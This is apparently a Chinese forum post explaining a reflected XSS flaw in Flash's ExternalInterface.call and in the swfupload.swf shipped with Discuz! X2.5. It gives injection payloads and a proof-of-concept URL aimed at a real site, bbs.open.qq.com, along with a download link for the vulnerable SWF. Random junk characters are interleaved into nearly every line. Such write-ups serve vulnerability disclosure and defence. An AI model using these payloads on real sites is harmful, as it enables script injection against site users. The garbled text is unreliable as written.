上回我们说
- P7 p A" ?0 l+ Q& G5 b- }3 c3 C* H$ h% Z! y8 h8 j
flash.external.ExternalInterface.call($methodName, $parameter)$ i7 t# j: M6 I7 I0 G
在浏览器中执行的是
2 y" {6 T9 Y" H- @+ w
: Q, `: ]$ _3 }6 S' t+ g) Ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
4 x: s5 k" t% t对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: o8 x2 @& h5 h( C7 P6 y8 w+ O/ p4 {( q7 m
flash.external.ExternalInterface.call("object."+$methodName, $parameter)* @/ Y* @% j4 T9 Y7 J
$methodName = a())}catch(e){alert(/xss/)}//
& P d" A$ o6 e" q/ u2 C) M结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。* `' r! [/ j8 O3 C2 J8 _2 d# p
+ ^( Z# h0 j0 Y( M% T4 E5 I. G" g `
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }! a1 G& x/ V. b
0 E1 z2 j2 Y0 B# z* d! @$ j
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 }. |, ^5 c( m杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
4 B$ |) W) J- P/ U0 M" Z% X8 q9 F( _8 g% M ]" D. e% E( ^
; G; |, E& A F8 C9 X
# z6 G* p9 L9 w" T# o
漏洞文件:upload\static\image\common\swfupload.swf5 D- ~$ U. Q- ]' z" t0 ~2 s: c
) x2 U6 t, l( r# z原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
7 _2 x& o: N; ^3 `8 N( y5 l) l) _ @$ D* u
7 [. f/ X+ U% L8 n p
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
/ a# Y9 b! K' ]/ o8 u" p. h7 j) H& \4 G- ?; R) ~2 M6 Z' f$ |+ z
7 r+ e3 Y- B+ V0 |% I) k. {* Z |